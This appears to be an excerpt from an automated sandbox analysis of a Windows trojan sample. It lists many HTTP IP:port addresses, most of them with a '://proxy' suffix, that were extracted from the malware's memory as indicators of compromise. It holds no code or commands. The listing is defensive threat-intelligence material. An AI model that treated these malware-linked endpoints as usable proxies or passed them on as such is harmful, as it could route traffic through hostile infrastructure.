Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.207.167://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.207.167:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.59.34:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.59.34:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.96.150:19291
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.230.96.150:19291://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.22.181.205:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.22.181.205:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.232.55.190
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.232.55.190://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.232.55.190:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:57248
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:57248://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:58111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:58111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:60637
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:60637://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.80.136.138:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.80.136.138:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.135.42:12438
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.135.42:12438://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.140.225:14719
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.140.225:14719://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.140.225:28119
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.140.225:28119://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.215.234:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.228.215.234:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA706000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.231.25.114:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.231.25.114:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.22
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.22://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.22:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.148.233:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.148.233:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.187.164:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.187.164:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.238.63:38080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.238.63:38080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.67.10.190:8100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.67.10.190:8100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.67.99.80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.67.99.80://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.67.99.80:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8029000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C801F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.70.139.52:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C801F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.70.139.52:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.70.244.240:16238
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.70.244.240:16238://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.42.160:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.42.160:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.92.214.224
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.92.214.224://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.92.214.224:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.0.14.116:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.0.14.116:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.113.121.60
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.113.121.60://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.178.107:29985
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.178.107:29985://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:16504
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:16504://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:17970
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:17970://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:25007
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:25007://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:25158
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:25158://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:38338
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:38338://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:41277
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:41277://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77F9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:52138
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:52138://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:54506
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:54506://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9444000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:57661
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:57661://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:62276
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:62276://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:8541
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.253.232:8541://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.255.155:64560
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.255.155:64560://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.159.243.94:4673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.159.243.94:4673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.194.52.93:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.194.52.93:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.61.207:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.61.207:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.62.171:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.62.171:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.62.43:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.62.43:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.63.79:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.201.63.79:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.107.92:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.107.92:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.109.144:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.109.144:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.109.44:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.109.44:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.110.193:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.110.193:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAECF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.110.217:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.110.217:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.111.125:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.111.125:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.111.173:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.111.173:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.112.70:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.112.70:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.112.72:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.112.72:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.113.135:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.202.113.135:3128://proxy
